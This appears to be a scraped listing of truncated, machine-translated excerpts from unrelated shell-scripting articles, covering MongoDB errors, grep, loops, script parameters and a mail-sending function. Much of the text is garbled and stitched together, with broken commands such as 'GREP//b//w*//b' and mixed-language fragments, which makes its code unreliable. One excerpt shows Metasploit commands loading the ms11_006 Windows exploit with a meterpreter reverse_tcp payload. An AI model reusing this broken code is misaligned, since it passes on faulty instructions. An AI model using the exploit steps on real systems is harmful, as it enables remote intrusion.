Shell

Error:couldn ' t connect to server 127.0.0.1:27017 src/mongo/shell/mongo.js Generally this is the case that you specify the database, so you cannot. Automatically load the service. The second time we can't connect. Each time before you

This problem always occurs when Ubuntu starts MONGO recently root@ubuntu:/var/lib/mongodb# MONGO MongoDB shell version:2.0.4 connecting to:test Tue 7 06:13:34 error:couldn ' t connect to server 127.0.0.1 shell/mongo.js:84 Exception:connect failed

string: AA bb cc DD Requirements: The word in the output string Pattern 1: *@*:~$ echo AA bb cc DD |GREP//b//w*//b RESULT:AA BB cc DD Pattern 2: Substituting the + number for * *@*:~$ echo AA bb cc DD |GREP//b//w+//b Result: No output

method One: Locate_library () {[!] "$1*" = "' echo $1* '"]; } Usage: # Look for PAM (do weirdly due to distribution bugs (e.g. Debian) or the # Crypt library. If Find_func Pam_start SYSDEPUTIL.O; Then locate_library/lib/libpam.so.0 && echo

This article describes a shell script that handles the conversion of decimal numbers to 16-way. The existing two data files I0.txt and Q0.txt are as follows: I0.txt Q0.txt 935 3297 385 6964 -280 12697 1768 8404 7377-852 #!bin/bash #因为有负数, so

#!/bin/bash Smail () { smtp= "mail.mailadd.com 25" # Mail server address +25 port smtp_domain= "mailadd.com" # Send the domain name of the mail, from= "xxx@mailadd.com" after @ @ Send mail address rcptto=$1 #

Environmental BT5R1 MSF > Use windows/fileformat/ms11_006_createsizeddibsection MSF Exploit (ms11_006_createsizeddibsection) > set Payload WINDOWS/METERPRETER/REVERSE_TCP payload = windows/meterpreter/reverse_tcp MSF exploit (ms11_006_

Assemblies contain modules, and modules contain types, and types also contain members. Reflection provides an object that encapsulates assemblies, modules, and types. You can use reflection to dynamically create an instance of a type, bind the type

Often heard: Shell programming, bash programming, and bash shell programming, what is the shell, and what is bash, what are the links between the two ... bourne shell is the shell used by the early Unix system, located in/bin/sh, or SH, which

1, in any folder, create a new 10 empty files, the file name is T1.txt-t10.txt, the file content is 11-20, on a line, and then the 10 files named as t1.sh-t10.sh.Old driver Version:$ for ((i=1;i> "T" ${i}.txt; Done #创建加写入$ for fie in ' ls *txt ';d o

Parameter description1:$# indicates the number of arguments passed into the script2:$* indicates the execution of a script passed in the parameter list3:$$ represents the Process ID4:[email protected] means that the execution script passes all

First, use in the shell if you need to enter some values, you need to use the READ-P commandThis is what I wrote. Guess the number game, at the beginning of the output, the screen will always print output "INT" after repeated practice to findDouble

Conditional testing and comparison of shell scriptsFirst, the condition test of shell scriptIn general, various tests are performed in the various conditional structures and process control structures of bash, and then different operations are

Shell Programming Loop StatementsLearning Goals:Mastering the FOR Loop statement programmingMastering while looping statement programmingDirectory structure:For Loop statementL read different variable values to execute the same set of commands

1 for LoopSyntax: for variable name in condition; ; doneExample 1#!/bin/bashsum=0for i in `seq 1 100`;dosum=$[$sum+$i]doneecho $sumExample 2Find all files with the suffix. txt in the/123 directoryBulk Modify. txt to. txt.bakAnalysis:There are two

Some of the simple scripts that you've knocked over and put them on the occasional look, it won't be long before you feel very pediatric, but it should be helpful to understand the process control of shell scripts.#!/bin/bashp=176.202.52.For I in $ (

After a week, the progress seems a little slack, but after the weekend rallyShell (Shell)Gui:gnome,kde,xfceCli:sh,csh,ksh,bashBash (parent process)-----Bash (child process) they are independent of each other.Command history: HistoricalQuotes

Requirements: accurately monitor CPU with top commandPreparation knowledge: Top use, basic awk, DC (default bash shell does not support decimal operations)The script is as follows[[email protected] scripts]# cat cpu.sh #!/bin/bash -# top -n 参数指定运行次数，

The command history of Bash's underlying features:Command history: The shell process saves commands that were previously executed by the user in its session~] #historyCustomizing the history function, which can be implemented by environment

A function in the shell1 understand several system variables of the script first$# 是传给脚本的参数个数$0 是脚本本身的名字$1 是传递给该shell脚本的第一个参数$2 是传递给该shell脚本的第二个参数[email protected] 是传给脚本的所有参数的列表$* 是以一个单字符串显示所有向脚本传递的参数，与位置变量不同，参数可超过9个$$ 是脚本运行的当前进程ID号$?